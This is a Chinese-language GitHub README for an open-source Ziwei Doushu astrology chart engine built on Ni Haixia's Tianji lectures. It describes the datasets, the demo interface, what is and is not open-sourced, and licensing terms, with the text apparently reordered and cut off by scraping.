\n<p>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u7d2b\u5fae\u6597\u6570\u90e8\u5206\u7684\u539f\u8bdd\u5171 <strong>1848 \u6761</strong>\uff1a\u6b63\u8bfe 14 \u8bb2\uff08\u7b2c 2\u201315 \u8bb2\u4e0a\u534a\uff09\u52a0 2 \u6bb5\u8865\u5145\uff0c\u6309\u8bb2\u5206\u6210 16 \u4e2a\u6587\u4ef6\uff0c\u653e\u5728 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/\"><code>docs/tianji-ziwei/</code></a>\u3002\u6bcf\u6761\u90fd\u5e26\u51fa\u5904\u65f6\u95f4\uff0c\u70b9\u4e00\u4e0b\u5c31\u8df3\u56de B \u7ad9\u539f\u89c6\u9891\u7684\u90a3\u4e00\u79d2\u3002</p> \n<ul> \n <li><strong>\u600e\u4e48\u8bfb</strong>\uff1a\u5148\u5728\u4e0a\u56fe\u91cc\u627e\u5230\u60f3\u770b\u7684\u4e3b\u9898\uff0c\u518d\u70b9\u8fdb\u5bf9\u5e94\u90a3\u4e00\u8bb2\uff0c\u6bd4\u5982 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/5%E4%B8%8A.md\">5\u4e0a</a>\uff08\u7d2b\u5fae\u5728\u5b50\uff09\u3001<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/13%E4%B8%8A.md\">13\u4e0a</a>\uff08\u6740\u7834\u72fc\u3001\u79d1\u6743\u7984\u4e09\u4f1a\uff09\u3002</li> \n <li><strong>\u4ece\u54ea\u6765</strong>\uff1a\u53d6\u81ea\u59ca\u59b9\u4ed3\u5e93 <a href=\"https://github.com/Renhuai123/nihai-tianji-corpus\">nihai-tianji-corpus</a>\uff0c\u4ee5\u8bed\u6599\u5e93\u4e3a\u51c6\uff0c\u4f1a\u968f\u8bed\u6599\u5e93\u540c\u6b65\u3002</li> \n <li><strong>\u80fd\u4e0d\u80fd\u5546\u7528</strong>\uff1a<strong>\u4e0d\u80fd</strong>\u3002\u8fd9\u4e00\u7ae0\u7684\u5185\u5bb9\u5355\u72ec\u91c7\u7528 CC BY-NC-SA 4.0\uff0c\u8be6\u89c1<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B9%9D%E5%8D%8F%E8%AE%AE\">\u4e5d\u3001\u534f\u8bae</a>\u3002</li> \n</ul> \n<hr /> \n<h2>\u516d\u3001\u754c\u9762\u662f\u4e00\u4efd Demo</h2> \n<p>\u754c\u9762\u4ee3\u7801\u5728 <code>app/</code> \u4e0e <code>components/</code>\u3002\u4ed3\u5e93\u91cc\u7684\u754c\u9762\u662f<strong>\u4e00\u5957\u6700\u5c0f\u53ef\u8fd0\u884c\u793a\u4f8b</strong>\uff0c\u4f5c\u7528\u662f\u628a\u6392\u76d8\u5f15\u64ce\u8dd1\u8d77\u6765\u3001\u628a\u76d8\u753b\u51fa\u6765\uff0c\u65b9\u4fbf\u4f60\u5728\u5b83\u57fa\u7840\u4e0a\u505a\u81ea\u5df1\u7684\u4ea7\u54c1\u3002<strong>\u7ebf\u4e0a\u5546\u4e1a\u7248\u7684\u754c\u9762\u4e0d\u5728\u5f00\u6e90\u8303\u56f4\u5185</strong>\uff0c\u4e24\u8005\u5dee\u8ddd\u5f88\u5927\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u9875\u9762 / \u7ec4\u4ef6</th> \n   <th>\u672c\u4ed3\u5e93\uff08Demo\uff09</th> \n   <th>\u7ebf\u4e0a\u5546\u4e1a\u7248</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u6392\u76d8\u9875 <code>app/chart/page.tsx</code></td> \n   <td>75 \u884c</td> \n   <td>1227 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u89e3\u8bfb\u9762\u677f <code>InsightPanel</code></td> \n   <td>467 \u884c</td> \n   <td>5088 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u547d\u76d8\u65b9\u683c <code>ChartBoard</code></td> \n   <td>285 \u884c</td> \n   <td>1334 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u5bab\u4f4d\u683c <code>PalaceCell</code></td> \n   <td>201 \u884c</td> \n   <td>1192 \u884c</td> \n  </tr> \n  <tr> \n   <td>\u5408\u76d8\u9875 <code>app/heming/page.tsx</code></td> \n   <td>368 \u884c</td> \n   <td>1937 \u884c</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Demo \u80fd\u8dd1\u901a\u7684</strong>\uff1a\u51fa\u751f\u4fe1\u606f\u8868\u5355\u3001\u547d\u76d8\u65b9\u683c\u4e0e\u5bab\u4f4d\u8be6\u60c5\u3001\u672c\u547d / \u5927\u9650 / \u6d41\u5e74\u5207\u6362\u3001\u53e4\u7c4d\u9605\u8bfb\u5668\uff08\u5168\u6587\u641c\u7d22\uff09\u3001\u547d\u7406\u767e\u79d1\uff0814 \u4e3b\u661f \u00d7 12 \u5bab\u4f4d\uff09\u3001\u4eae\u6697\u4e3b\u9898\u3001\u79fb\u52a8\u7aef\u9002\u914d\u3002</p> \n<p><strong>Demo \u91cc\u6ca1\u6709\u7684</strong>\uff1a\u7ebf\u4e0a\u91cd\u505a\u8fc7\u7684\u4ea4\u4e92\u754c\u9762\u3001AI \u6d41\u5f0f\u89e3\u8bfb\u3001\u5408\u76d8\u56fe\u8c31\u3001\u5206\u4eab\u5361\u7247\uff0c\u4ee5\u53ca<strong>\u65ad\u8bed\u5185\u5bb9\u672c\u8eab</strong>\uff08<code>db-analysis.ts</code> \u662f\u5360\u4f4d\u5b9e\u73b0\uff09\u3002\u4e5f\u5c31\u662f\u8bf4\uff0cDemo \u753b\u5f97\u51fa\u76d8\uff0c\u4f46\u7ed9\u4e0d\u51fa\u7ebf\u4e0a\u90a3\u5957\u89e3\u8bfb\u3002</p> \n<hr /> \n<h2>\u4e03\u3001\u5f00\u6e90\u8fb9\u754c\uff1a\u4ec0\u4e48\u4e0d\u5728\u91cc\u9762</h2> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>\u5185\u5bb9</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u2705 <strong>\u5f00\u6e90</strong></td> \n   <td>\u6392\u76d8\u5f15\u64ce\uff08<code>lib/ziwei/</code>\uff09\u3001\u53e4\u7c4d\u516c\u7248\u539f\u6587\uff08<code>lib/classics/</code>\uff09\u3001SEO \u77e5\u8bc6\u56fe\u8c31\uff08<code>lib/seo/</code>\uff09\u3001Demo \u754c\u9762\u300151.8 \u4e07\u6837\u672c\u6570\u636e\u96c6\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</td> \n  </tr> \n  <tr> \n   <td>\u274c <strong>\u4e0d\u5f00\u6e90</strong></td> \n   <td>\u65ad\u8bed\u5e93\uff08<code>lib/ziwei/db-analysis.ts</code> \u662f\u5360\u4f4d\uff0c\u7ebf\u4e0a\u662f\u4e0a\u4e07\u884c\u7684 13 \u4e3b\u9898\u65ad\u8bed\uff09\u3001AI \u89e3\u8bfb prompt\u3001\u540e\u7aef API\uff08<code>/api/interpret</code> \u7b49\uff09\u3001\u7528\u6237\u7cfb\u7edf\uff08\u767b\u5f55 / \u4f1a\u5458 / \u652f\u4ed8\uff09\u3001\u670d\u52a1\u7aef\u5b89\u5168\uff08\u7b7e\u540d\u3001\u9632\u5237\u3001\u6c34\u5370\uff09\u3001\u90e8\u7f72\u914d\u7f6e</td> \n  </tr> \n </tbody> \n</table> \n<p>\u5982\u679c\u4f60\u9700\u8981 AI \u89e3\u8bfb\u80fd\u529b\uff0c\u53ef\u4ee5\u53c2\u8003 <code>lib/ziwei/patterns.ts</code> \u548c <code>heming-knowledge.ts</code> \u91cc\u7684\u77e5\u8bc6\u5e93\uff0c\u7ed3\u5408\u4efb\u610f LLM \u81ea\u884c\u6784\u5efa prompt\u3002</p> \n<hr /> \n<h2>\u516b\u3001\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e</h2> \n<p>\u8fd9\u4e2a\u4ed3\u5e93\u662f<strong>\u6392\u76d8\u5f15\u64ce + \u6570\u636e\u96c6\u7684\u5f00\u653e\u5feb\u7167</strong>\uff0c\u4e0d\u662f\u4e00\u4e2a\u5168\u804c\u7ef4\u62a4\u7684\u5f00\u6e90\u4ea7\u54c1\uff0c\u8bf4\u6e05\u695a\u514d\u5f97\u5927\u5bb6\u731c\uff1a</p> \n<ul> \n <li><strong>\u5f15\u64ce\u540c\u6b65</strong>\uff1a\u968f\u7ebf\u4e0a\u53d1\u7248\u540c\u6b65 <code>lib/ziwei/</code> \u7684\u5f15\u64ce\u5c42\u5e76\u6253 tag\uff1b\u65ad\u8bed\u5e93\u3001AI \u89e3\u8bfb\u3001\u5546\u4e1a\u7ad9\u524d\u7aef\u4e0d\u5728\u540c\u6b65\u8303\u56f4\u5185\u3002</li> \n <li><strong>Issue</strong>\uff1a\u4f1a\u770b\uff0c\u4f46\u56de\u590d\u53ef\u80fd\u4e0d\u53ca\u65f6\uff1b\u5e26\u590d\u73b0\u6b65\u9aa4\u6216\u5177\u4f53\u76d8\u4f8b\uff08\u5e74\u6708\u65e5\u65f6 + \u6027\u522b + \u54ea\u4e00\u6761\u4e0d\u5bf9\uff09\u7684\u95ee\u9898\u4f18\u5148\u5904\u7406\u3002</li> \n <li><strong>PR</strong>\uff1a\u6b22\u8fce\uff0c\u5c24\u5176\u662f\u56de\u5f52\u6d4b\u8bd5\u3001\u53e3\u5f84\u4fee\u6b63\u3001\u6587\u6863\u3002\u52a8\u5230\u6392\u76d8\u53e3\u5f84\u7684\u6539\u52a8\u8bf7\u9644\u4e0a\u4f9d\u636e\uff08\u53e4\u7c4d\u539f\u6587\u6216\u53ef\u6838\u5bf9\u7684\u5bf9\u7167\uff09\u3002</li> \n</ul> \n<hr /> \n<h2>\u4e5d\u3001\u534f\u8bae</h2> \n<p>\u672c\u4ed3\u5e93\u5206\u56db\u90e8\u5206\u6388\u6743\u3002\u524d\u4e09\u90e8\u5206\u662f\u5bbd\u677e\u534f\u8bae\uff0c<strong>\u5546\u7528\u6ca1\u6709\u9650\u5236</strong>\uff1b\u502a\u5e08\u539f\u8bdd\u76ee\u5f55<strong>\u4e0d\u8bb8\u5546\u7528</strong>\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5185\u5bb9</th> \n   <th>\u534f\u8bae</th> \n   <th>\u7b80\u5355\u8bf4</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>\u4ee3\u7801</strong>\uff08<code>lib/</code>\u3001<code>app/</code>\u3001<code>components/</code>\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/LICENSE\">MIT License</a></td> \n   <td>\u62ff\u53bb\u968f\u4fbf\u7528\uff0c\u4fdd\u7559 LICENSE \u6587\u4ef6\u5373\u53ef</td> \n  </tr> \n  <tr> \n   <td><strong>\u6570\u636e</strong>\uff08Releases \u4e2d\u7684 51.8 \u4e07\u6837\u672c\u6570\u636e\u96c6 v3.0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">CC BY 4.0</a> \u00b7 \u8981\u6c42 attribution</td> \n   <td>\u5546\u7528\u4e5f\u884c\uff0c<strong>\u6ce8\u660e\u6570\u636e\u6765\u6e90\u5373\u53ef</strong></td> \n  </tr> \n  <tr> \n   <td><strong>\u53e4\u7c4d\u539f\u6587</strong>\uff08\u9aa8\u9ad3\u8d4b\u3001\u7d2b\u5fae\u6597\u6570\u5168\u96c6 / \u5168\u4e66\u7b49\uff09</td> \n   <td>Public Domain</td> \n   <td>\u53e4\u4e66\u90fd\u662f\u516c\u6709\u9886\u57df\uff0c\u4e0d\u5b58\u5728\u7248\u6743</td> \n  </tr> \n  <tr> \n   <td><strong>\u502a\u5e08\u539f\u8bdd</strong>\uff08<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/\"><code>docs/tianji-ziwei/</code></a>\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/LICENSE.md\">CC BY-NC-SA 4.0</a></td> \n   <td>\u53ef\u4ee5\u5f15\u7528\u3001\u8f6c\u8f7d\uff0c\u6ce8\u660e\u51fa\u5904\uff1b<strong>\u4e0d\u8bb8\u5546\u7528</strong>\uff0c\u6539\u7f16\u540e\u7528\u540c\u6837\u534f\u8bae</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u4e00\u53e5\u8bdd</strong>\uff1a\u4ee3\u7801\u548c\u6570\u636e\u62ff\u53bb\u7528\uff0c\u5546\u7528\u4e5f\u884c\uff0c\u628a\u6765\u6e90\u94fe\u63a5\u5e26\u4e0a\u5c31\u884c\uff1b\u502a\u5e08\u539f\u8bdd\u53ea\u9650\u975e\u5546\u4e1a\u7684\u5b66\u4e60\u7814\u7a76\uff08\u6570\u636e\u96c6\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u540c\u6837\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff09\u3002</p> \n<hr /> \n<h2>\u5341\u3001\u5173\u4e8e\u4e0e\u8054\u7cfb</h2> \n<h3>\u9879\u76ee\u7406\u5ff5</h3> \n<p>\u89c1\u672c\u9875\u5f00\u5934\u3002\u60f3\u81ea\u5df1\u642d\uff1f\u4ee3\u7801\u90fd\u5728\u8fd9\u91cc\uff0c\u62ff\u53bb\u7528\u3002\u5acc\u9ebb\u70e6\uff1f\u6765 <a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a> \u76f4\u63a5\u7528\u3002</p> \n<h3>\u6280\u672f\u6808</h3> \n<ul> \n <li><strong>\u6846\u67b6</strong>\uff1aNext.js 16\uff08App Router\uff09</li> \n <li><strong>\u8bed\u8a00</strong>\uff1aTypeScript</li> \n <li><strong>\u6837\u5f0f</strong>\uff1aTailwind CSS + CSS Variables \u8bbe\u8ba1\u7cfb\u7edf</li> \n <li><strong>\u6392\u76d8</strong>\uff1a\u57fa\u4e8e <a href=\"https://github.com/SylarLong/iztro\">iztro</a> + lunar-javascript</li> \n <li><strong>\u52a8\u753b</strong>\uff1aFramer Motion</li> \n</ul> \n<h3>\u8054\u7cfb</h3> \n<ul> \n <li>\u7ebf\u4e0a\u5e73\u53f0\uff1a<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a>\uff08\u5df2\u5b8c\u6210 ICP \u5907\u6848\uff1a\u6e1dICP\u59072026013379\u53f7-1\uff09</li> \n <li>\u63d0\u95ee\u9898\u3001\u63d0\u4fee\u590d\uff1a\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/CONTRIBUTING.md\">CONTRIBUTING.md</a>\uff1b\u4f7f\u7528\u4ea4\u6d41\u8bf7\u5230 <a href=\"https://github.com/Renhuai123/ziwei-doushu/discussions\">\u8ba8\u8bba\u533a</a></li> \n <li>\ud83d\udc95 \u53d1\u8d22\u7684\u5c0f\u624b\u70b9\u4e00\u4e0b\uff1a\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c / X \u5173\u6ce8 <strong>\u738b\u591a\u9c7cAI</strong>\uff0c\u7b2c\u4e00\u65f6\u95f4\u770b\u4e0a\u7ebf + \u89e3\u9501\u66f4\u591a\u7d2b\u5fae\u5e72\u8d27\uff5e</li> \n</ul>", "summary": "<p>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6392\u76d8\u5f15\u64ce \u2014 \u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u4f53\u7cfb\uff0c\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://metisziwei.com/?from=gh-about\">https://metisziwei.com/?from=gh-about</a></p><hr /><div align=\"center\"> \n <h1>\u7d2b\u5fae\u6597\u6570 \u00b7 \u5f00\u6e90\u6392\u76d8\u5f15\u64ce</h1> \n <h3>\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc</h3> \n <p><a href=\"https://github.com/Renhuai123/ziwei-doushu/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/Renhuai123/ziwei-doushu/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/code-MIT-blue.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><img alt=\"Dataset: CC BY 4.0\" src=\"https://img.shields.io/badge/dataset-CC%20BY%204.0-green.svg?sanitize=true\" /></a></p> \n <p><strong>\u4e2d\u6587</strong> \u00b7 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/README.en.md\">English</a></p> \n</div> \n<p><strong>\u4e00\u3001\u9879\u76ee\u7406\u5ff5</strong>\uff1a\u7d2b\u5fae\u6597\u6570\u662f\u4e2d\u56fd\u4f20\u7edf\u547d\u7406\u5b66\u7684\u7470\u5b9d\uff0c\u502a\u6d77\u53a6\u8001\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u7cfb\u7edf\u68b3\u7406\u4e86\u6b63\u5b97\u7684\u7d2b\u5fae\u6597\u6570\u4f53\u7cfb\u3002\u6211\u4eec\u5e0c\u671b\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u8ba9\u66f4\u591a\u4eba\u63a5\u89e6\u548c\u5b66\u4e60\u8fd9\u95e8\u5b66\u95ee\u3002</p> \n<p>\u5f00\u6e90\u6392\u76d8\u7b97\u6cd5\u548c\u77e5\u8bc6\u5e93\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u76f8\u4fe1\uff1a<strong>\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc</strong>\u3002\u771f\u6b63\u7684\u4ef7\u503c\u5728\u4e8e\u89e3\u8bfb\u7684\u6df1\u5ea6\u3001\u7528\u6237\u4f53\u9a8c\u7684\u6253\u78e8\u3001\u4ee5\u53ca\u6301\u7eed\u8fd0\u8425\u7684\u79ef\u7d2f\u3002</p> \n<p><strong>\u4e8c\u3001\u9879\u76ee\u4fe1\u606f</strong>\uff1a\u57fa\u4e8e<strong>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b</strong>\u6559\u5b66\u4f53\u7cfb\u7684\u7d2b\u5fae\u6597\u6570\u6392\u76d8\u7cfb\u7edf\uff0c\u5305\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e\uff0c\u4ee5\u53ca\u4e00\u5957\u5b8c\u6574\u5f00\u6e90\u7684\u7d2b\u5fae\u6597\u6570\u89e3\u8bfb\u6570\u636e\uff1a<strong>v4.0 \u89e3\u8bfb\u6570\u636e\u96c6\u2014\u201467.5 \u4e07\u5f20\u547d\u76d8 \u00d7 13 \u7ef4 = 877 \u4e07\u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\uff0c\u89e3\u538b\u540e 56.6 GB</strong>\uff082026-10-15 \u53d1\u5e03\uff09\u3002</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6570\u636e\u96c6</th> \n   <th>\u547d\u76d8</th> \n   <th>\u89e3\u8bfb\u6bb5\u6570</th> \n   <th>\u89e3\u538b\u540e</th> \n   <th>\u8986\u76d6\u5e74\u4efd</th> \n   <th>\u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>v4.0 \u89e3\u8bfb\u6570\u636e\u96c6</strong>\uff082026-10-15\uff09</td> \n   <td><strong>674,976</strong></td> \n   <td><strong>8,774,688</strong></td> \n   <td><strong>56.6 GB</strong></td> \n   <td><strong>1950\u20132026</strong>\uff08\u53ea\u542b\u771f\u5b9e\u65e5\u671f\uff09</td> \n   <td><strong>\u7ea6 3.0 \u4e07\u5b57</strong></td> \n  </tr> \n  <tr> \n   <td>v3.0 \u6837\u672c\u6570\u636e\u96c6</td> \n   <td>518,400</td> \n   <td>6,739,200</td> \n   <td>33.1 GB</td> \n   <td>1924\u20131983</td> \n   <td>\u7ea6 2.1 \u4e07\u5b57</td> \n  </tr> \n  <tr> \n   <td>\u53d8\u5316</td> \n   <td>+30%</td> \n   <td>+30%</td> \n   <td><strong>+71%</strong></td> \n   <td>+17 \u5e74</td> \n   <td>+44%</td> \n  </tr> \n </tbody> \n</table> \n<p><sub>v3.0 \u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570\u6309 2,160 \u5f20\u76d8\u62bd\u6837\u4f30\u7b97\uff0c\u5176\u4f59\u6570\u5b57\u4e3a\u5168\u91cf\u7edf\u8ba1\uff1b\u4e24\u7248\u6bcf\u5f20\u76d8\u90fd\u662f 13 \u7ef4\u3002</sub></p> \n<p>\u5728\u7ebf\u4f53\u9a8c\uff1a<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a>\uff0c\u6392\u76d8\u3001AI \u89e3\u8bfb\u3001\u547d\u76d8\u5386\u53f2\u5168\u90e8\u5f00\u653e\u3002</p> \n<blockquote> \n <p><strong>\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad</strong></p> \n <p>\u7d2b\u5fae\u6597\u6570\u5728\u516d\u4eb2\uff08\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u7b49\uff09\u5224\u65ad\u4e0a\u5b58\u5728\u4e00\u5b9a\u5c40\u9650\u3002\u502a\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u6307\u51fa\uff1a\u201c\u6597\u6570\u6279\u516d\u4eb2\u672c\u6765\u5c31\u6bd4\u8f83\u5dee\u4e00\u70b9\u3002\u201d\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=1527\">2\u4e0a \u00b7 00:25:27</a>\uff09\u5728\u4f20\u7edf\u672f\u6570\u4e2d\uff0c\u94c1\u677f\u795e\u6570\u5728\u6838\u5bf9\u516d\u4eb2\u65b9\u9762\u6709\u5176\u72ec\u7279\u4f18\u52bf\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=195\">2\u4e0a \u00b7 00:03:15</a>\uff09\uff1b\u502a\u5e08\u4ecd\u4ee5\u7d2b\u5fae\u6597\u6570\u4e3a\u6838\u5fc3\uff0c\u662f\u56e0\u4e3a\u5b83\u80fd\u7ed3\u5408\u5730\u7406\u3001\u73af\u5883\u4e0e\u4eba\u4e8b\u8fdb\u884c\u7efc\u5408\u5224\u65ad\uff0c\u5f62\u6210\u201c\u4e0a\u77e5\u5929\u6587\u3001\u4e0b\u77e5\u5730\u7406\u3001\u4e2d\u77e5\u4eba\u4e8b\u201d\u7684\u5b8c\u6574\u4f53\u7cfb\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=1543\">2\u4e0a \u00b7 00:25:43</a>\uff09\u3002\u56e0\u6b64\uff0c\u4e0e\u516d\u4eb2\u76f8\u5173\u7684\u5206\u6790\u4ec5\u4f9b\u53c2\u8003\uff1b<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a> \u4e0a\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u4e09\u4e2a\u7ef4\u5ea6\u4e5f\u9644\u6709\u540c\u6837\u7684\u8bf4\u660e\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u76ee\u5f55</h2> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>\u7ae0\u8282</th> \n   <th>\u4e00\u53e5\u8bdd</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u4e00</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%80%E6%9C%AC%E8%BD%AE%E6%9B%B4%E6%96%B02026-10-15\">\u672c\u8f6e\u66f4\u65b0</a></td> \n   <td>13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u9010\u53e5\u6821\u6b63\uff0c\u53d1\u5e03 67.5 \u4e07\u547d\u76d8 \u00d7 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</td> \n  </tr> \n  <tr> \n   <td>\u4e8c\u00b7\u65b0</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C%E6%96%B013-%E7%BB%B4%E8%A7%A3%E8%AF%BB%E6%95%B0%E6%8D%AE%E9%9B%86-v402026-10-15\">13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</a></td> \n   <td>2026-10-15 \u65b0\u7248\u65ad\u8bed\uff0c67.5 \u4e07\u547d\u76d8\uff0c\u6309\u5e74\u4efd\u4e0b\u8f7d</td> \n  </tr> \n  <tr> \n   <td>\u4e8c</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C518-%E4%B8%87%E5%91%BD%E7%9B%98%E6%A0%B7%E6%9C%AC%E6%95%B0%E6%8D%AE%E9%9B%86\">51.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6</a></td> \n   <td>\u89c4\u683c\u3001\u4e0b\u8f7d\u3001\u7528\u9014\u3001\u8bb8\u53ef</td> \n  </tr> \n  <tr> \n   <td>\u4e09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%89%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\">\u5feb\u901f\u5f00\u59cb</a></td> \n   <td>\u514b\u9686\u5230\u8dd1\u8d77\u6765</td> \n  </tr> \n  <tr> \n   <td>\u56db</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%9B%9B%E6%8E%92%E7%9B%98%E5%BC%95%E6%93%8E\">\u6392\u76d8\u5f15\u64ce</a></td> \n   <td>\u80fd\u505a\u5230\u4ec0\u4e48\u3001\u6587\u4ef6\u600e\u4e48\u5206\u3001\u53e4\u7c4d\u6570\u636e</td> \n  </tr> \n  <tr> \n   <td>\u4e94</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%94%E5%80%AA%E5%B8%88%E5%A4%A9%E7%BA%AA%E7%B4%AB%E5%BE%AE%E6%96%97%E6%95%B0%E5%8E%9F%E8%AF%9D\">\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd</a></td> \n   <td>14 \u8bb2 + 2 \u6bb5\u8865\u5145\u30011848 \u6761\uff0c\u4e00\u56fe\u770b\u5168\uff0c\u6bcf\u6761\u53ef\u56de\u653e</td> \n  </tr> \n  <tr> \n   <td>\u516d</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%85%AD%E7%95%8C%E9%9D%A2%E6%98%AF%E4%B8%80%E4%BB%BD-demo\">\u754c\u9762\u662f\u4e00\u4efd Demo</a></td> \n   <td>\u4e0d\u662f\u7ebf\u4e0a\u90a3\u5957\uff0c\u5dee\u8ddd\u5199\u660e</td> \n  </tr> \n  <tr> \n   <td>\u4e03</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%83%E5%BC%80%E6%BA%90%E8%BE%B9%E7%95%8C%E4%BB%80%E4%B9%88%E4%B8%8D%E5%9C%A8%E9%87%8C%E9%9D%A2\">\u5f00\u6e90\u8fb9\u754c</a></td> \n   <td>\u4ec0\u4e48\u5f00\u6e90\u3001\u4ec0\u4e48\u4e0d\u5f00\u6e90</td> \n  </tr> \n  <tr> \n   <td>\u516b</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%85%AB%E7%BB%B4%E6%8A%A4%E8%8A%82%E5%A5%8F%E4%B8%8E%E8%B4%A1%E7%8C%AE\">\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e</a></td> \n   <td>\u540c\u6b65\u8282\u594f\u3001issue / PR \u53e3\u5f84</td> \n  </tr> \n  <tr> \n   <td>\u4e5d</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B9%9D%E5%8D%8F%E8%AE%AE\">\u534f\u8bae</a></td> \n   <td>\u4ee3\u7801 MIT / \u6570\u636e CC BY 4.0 / \u53e4\u7c4d\u516c\u7248 / 